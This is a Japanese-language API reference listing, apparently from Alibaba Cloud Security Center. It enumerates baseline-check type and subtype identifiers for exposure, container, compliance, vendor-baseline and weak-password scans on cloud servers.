instance_name

インスタンス名。

aegis-test

platform

オペレーティングシステムのタイプ。

Linux

タイプ名

サブタイプ名

説明

hc_exploit

hc_exploit_redis

高リスク脅威エクスプロイト：Redis への不正アクセス

hc_exploit_activemq

高リスク脅威エクスプロイト：ActiveMQ への不正アクセス

hc_exploit_couchdb

高リスク脅威エクスプロイト：CouchDB への不正アクセス

hc_exploit_docker

高リスク脅威エクスプロイト：Docker への不正アクセス

hc_exploit_es

高リスク脅威エクスプロイト：Elasticsearch への不正アクセス

hc_exploit_hadoop

高リスク脅威エクスプロイト：Hadoop への不正アクセス

hc_exploit_jboss

高リスク脅威エクスプロイト：JBoss への不正アクセス

hc_exploit_jenkins

高リスク脅威エクスプロイト：Jenkins への不正アクセス

hc_exploit_k8s_api

高リスク脅威エクスプロイト：Kubernetes API サーバーへの不正アクセス

hc_exploit_ldap

高リスク脅威エクスプロイト：LDAP (Windows) への不正アクセス

hc_exploit_ldap_linux

高リスク脅威エクスプロイト：OpenLDAP (Linux) への不正アクセス

hc_exploit_memcache

高リスク脅威エクスプロイト：Memcached への不正アクセス

hc_exploit_mongo

高リスク脅威エクスプロイト：MongoDB への不正アクセス

hc_exploit_pgsql

高リスク脅威エクスプロイト：PostgreSQL ベースラインへの不正アクセス

hc_exploit_rabbitmq

高リスク脅威エクスプロイト：RabbitMQ への不正アクセス

hc_exploit_rsync

高リスク脅威エクスプロイト：rsync への不正アクセス

hc_exploit_tomcat

高リスク脅威エクスプロイト：Apache Tomcat AJP ファイルインクルードの脆弱性

hc_exploit_zookeeper

高リスク脅威エクスプロイト：ZooKeeper への不正アクセス

hc_container

hc_docker

Alibaba Cloud 標準：Docker セキュリティベースラインチェック

hc_middleware_ack_master

国際的なセキュリティのベストプラクティス：Kubernetes (ACK) マスターノードセキュリティベースラインチェック

hc_middleware_ack_node

国際的なセキュリティのベストプラクティス：Kubernetes (ACK) ノードセキュリティベースラインチェック

hc_middleware_k8s

Alibaba Cloud 標準：Kubernetes マスターセキュリティベースラインチェック

hc_middleware_k8s_node

Alibaba Cloud 標準：Kubernetes ノードセキュリティベースラインチェック

cis

hc_suse 15_djbh

MLPS レベル 3：SUSE 15 コンプライアンスベースラインチェック

hc_aliyun_linux3_djbh_l3

MLPS レベル 3：Alibaba Cloud Linux 3 コンプライアンスベースラインチェック

hc_aliyun_linux_djbh_l3

MLPS レベル 3：Alibaba Cloud Linux/Aliyun Linux 2 コンプライアンスベースラインチェック

hc_bind_djbh

MLPS レベル 3：Bind コンプライアンスベースラインチェック

hc_centos 6_djbh_l3

MLPS レベル 3：CentOS Linux 6 コンプライアンスベースラインチェック

hc_centos 7_djbh_l3

MLPS レベル 3：CentOS Linux 7 コンプライアンスベースラインチェック

hc_centos 8_djbh_l3

MLPS レベル 3：CentOS Linux 8 コンプライアンスベースラインチェック

hc_debian_djbh_l3

MLPS レベル 3：Debian Linux 8/9/10 コンプライアンスベースラインチェック

hc_iis_djbh

MLPS レベル 3：IIS コンプライアンスベースラインチェック

hc_informix_djbh

MLPS レベル 3：Informix コンプライアンスベースラインチェック

hc_jboss_djbh

MLPS レベル 3：JBoss コンプライアンスベースラインチェック

hc_mongo_djbh

MLPS レベル 3：MongoDB コンプライアンスベースラインチェック

hc_mssql_djbh

MLPS レベル 3：SQL Server コンプライアンスベースラインチェック

hc_mysql_djbh

MLPS レベル 3：MySQL コンプライアンスベースラインチェック

hc_nginx_djbh

MLPS レベル 3：Nginx コンプライアンスベースラインチェック

hc_oracle_djbh

MLPS レベル 3：Oracle コンプライアンスベースラインチェック

hc_pgsql_djbh

MLPS レベル 3：PostgreSQL コンプライアンスベースラインチェック

hc_redhat 6_djbh_l3

MLPS レベル 3：Red Hat Linux 6 コンプライアンスベースラインチェック

hc_redhat_djbh_l3

MLPS レベル 3：Red Hat Linux 7 コンプライアンスベースラインチェック

hc_redis_djbh

MLPS レベル 3：Redis コンプライアンスベースラインチェック

hc_suse 10_djbh_l3

MLPS レベル 3：SUSE 10 コンプライアンスベースラインチェック

hc_suse 12_djbh_l3

MLPS レベル 3：SUSE 12 コンプライアンスベースラインチェック

hc_suse_djbh_l3

MLPS レベル 3：SUSE 11 コンプライアンスベースラインチェック

hc_ubuntu 14_djbh_l3

MLPS レベル 3：Ubuntu 14 コンプライアンスベースラインチェック

hc_ubuntu_djbh_l3

MLPS レベル 3：Ubuntu 16/18/20 コンプライアンスベースラインチェック

hc_was_djbh

MLPS レベル 3：WebSphere Application Server コンプライアンスベースラインチェック

hc_weblogic_djbh

MLPS レベル 3：WebLogic コンプライアンスベースラインチェック

hc_win 2008_djbh_l3

MLPS レベル 3：Windows 2008 R2 コンプライアンスベースラインチェック

hc_win 2012_djbh_l3

MLPS レベル 3：Windows 2012 R2 コンプライアンスベースラインチェック

hc_win 2016_djbh_l3

MLPS レベル 3：Windows 2016/2019 コンプライアンスベースラインチェック

hc_aliyun_linux_djbh_l2

MLPS レベル 2：Alibaba Cloud Linux/Aliyun Linux 2 コンプライアンスベースラインチェック

hc_centos 6_djbh_l2

MLPS レベル 2：CentOS Linux 6 コンプライアンスベースラインチェック

hc_centos 7_djbh_l2

MLPS レベル 2：CentOS Linux 7 コンプライアンスベースラインチェック

hc_debian_djbh_l2

MLPS レベル 2：Debian Linux 8 コンプライアンスベースラインチェック

hc_redhat 7_djbh_l2

MLPS レベル 2：Red Hat Linux 7 コンプライアンスベースラインチェック

hc_ubuntu_djbh_l2

MLPS レベル 2：Ubuntu 16/18 コンプライアンスベースラインチェック

hc_win 2008_djbh_l2

MLPS レベル 2：Windows 2008 R2 コンプライアンスベースラインチェック

hc_win 2012_djbh_l2

MLPS レベル 2：Windows 2012 R2 コンプライアンスベースラインチェック

hc_win 2016_djbh_l2

MLPS レベル 2：Windows 2016/2019 コンプライアンスベースラインチェック

hc_aliyun_linux_cis

国際的なセキュリティのベストプラクティス：Alibaba Cloud Linux/Aliyun Linux 2 セキュリティベースラインチェック

hc_centos 6_cis_rules

国際的なセキュリティのベストプラクティス：CentOS Linux 6 セキュリティベースラインチェック

hc_centos 7_cis_rules

国際的なセキュリティのベストプラクティス：CentOS Linux 7 セキュリティベースラインチェック

hc_centos 8_cis_rules

国際的なセキュリティのベストプラクティス：CentOS Linux 8 セキュリティベースラインチェック

hc_debian 8_cis_rules

国際的なセキュリティのベストプラクティス：Debian Linux 8 セキュリティベースラインチェック

hc_ubuntu 14_cis_rules

国際的なセキュリティのベストプラクティス：Ubuntu 14 セキュリティベースラインチェック

hc_ubuntu 16_cis_rules

国際的なセキュリティのベストプラクティス：Ubuntu 16/18/20 セキュリティベースラインチェック

hc_win 2008_cis_rules

国際的なセキュリティのベストプラクティス：Windows Server 2008 R2 セキュリティベースラインチェック

hc_win 2012_cis_rules

国際的なセキュリティのベストプラクティス：Windows Server 2012 R2 セキュリティベースラインチェック

hc_win 2016_cis_rules

国際的なセキュリティのベストプラクティス：Windows Server 2016/2019 セキュリティベースラインチェック

hc_kylin_djbh_l3

MLPS レベル 3：Kylin コンプライアンスベースラインチェック

hc_uos_djbh_l3

MLPS レベル 3：UOS コンプライアンスベースラインチェック

hc_best_security

hc_aliyun_linux

Alibaba Cloud 標準：Alibaba Cloud Linux/Aliyun Linux 2 セキュリティベースラインチェック

hc_centos 6

Alibaba Cloud 標準：CentOS Linux 6 セキュリティベースラインチェック

hc_centos 7

Alibaba Cloud 標準：CentOS Linux 7/8 セキュリティベースラインチェック

hc_debian

Alibaba Cloud 標準：Debian Linux 8/9/10 セキュリティベースラインチェック

hc_redhat 6

Alibaba Cloud 標準：Red Hat Linux 6 セキュリティベースラインチェック

hc_redhat 7

Alibaba Cloud 標準：Red Hat Linux 7/8 セキュリティベースラインチェック

hc_ubuntu

Alibaba Cloud 標準：Ubuntu セキュリティベースラインチェック

hc_windows_2008

Alibaba Cloud 標準：Windows 2008 R2 セキュリティベースラインチェック

hc_windows_2012

Alibaba Cloud 標準：Windows 2012 R2 セキュリティベースラインチェック

hc_windows_2016

Alibaba Cloud 標準：Windows 2016/2019 セキュリティベースラインチェック

hc_db_mssql

Alibaba Cloud 標準：SQL Server セキュリティベースラインチェック

hc_memcached_ali

Alibaba Cloud 標準：Memcached セキュリティベースラインチェック

hc_mongodb

Alibaba Cloud 標準：MongoDB 3.x セキュリティベースラインチェック

hc_mysql_ali

Alibaba Cloud 標準：MySQL セキュリティベースラインチェック

hc_oracle

Alibaba Cloud 標準：Oracle 11g セキュリティベースラインチェック

hc_pgsql_ali

Alibaba Cloud 標準：PostgreSQL セキュリティベースラインチェック

hc_redis_ali

Alibaba Cloud 標準：Redis セキュリティベースラインチェック

hc_apache

Alibaba Cloud 標準：Apache セキュリティベースラインチェック

hc_iis_8

Alibaba Cloud 標準：IIS 8 セキュリティベースラインチェック

hc_nginx_linux

Alibaba Cloud 標準：Nginx セキュリティベースラインチェック

hc_suse 15

Alibaba Cloud 標準：SUSE Linux 15 セキュリティベースラインチェック

tomcat 7

Alibaba Cloud 標準：Apache Tomcat セキュリティベースラインチェック

weak_password

hc_mongodb_pwd

弱いパスワード：MongoDB ログインの弱いパスワード検出 (バージョン 2.x)

hc_weakpwd_ftp_linux

弱いパスワード：FTP ログインの弱いパスワードチェック

hc_weakpwd_linux_sys

弱いパスワード：Linux システムログインの弱いパスワードチェック

hc_weakpwd_mongodb 3

弱いパスワード：MongoDB ログインの弱いパスワード検出

hc_weakpwd_mssql

弱いパスワード：SQL Server データベースログインの弱いパスワードチェック

hc_weakpwd_mysql_linux

弱いパスワード：MySQL データベースログインの弱いパスワードチェック

hc_weakpwd_mysql_win

弱いパスワード：MySQL データベースログインの弱いパスワードチェック (Windows)

hc_weakpwd_openldap

弱いパスワード：OpenLDAP ログインの弱いパスワードチェック

hc_weakpwd_oracle

弱いパスワード：Oracle ログインの弱いパスワード検出

hc_weakpwd_pgsql

弱いパスワード：PostgreSQL データベースログインの弱いパスワードチェック

hc_weakpwd_pptp

弱いパスワード：pptpd サービスログインの弱いパスワードチェック

hc_weakpwd_redis_linux

弱いパスワード：Redis データベースログインの弱いパスワードチェック

hc_weakpwd_rsync

弱いパスワード：rsync サービスログインの弱いパスワードチェック

hc_weakpwd_svn

弱いパスワード：SVN サービスログインの弱いパスワードチェック

hc_weakpwd_tomcat_linux

弱いパスワード：Apache Tomcat コンソールの弱いパスワードチェック

hc_weakpwd_vnc

弱いパスワード：VNC Server の弱いパスワードチェック

hc_weakpwd_weblogic

弱いパスワード：WebLogic 12c ログインの弱いパスワード検出

hc_weakpwd_win_sys

弱いパスワード：Windows システムログインの弱いパスワードチェック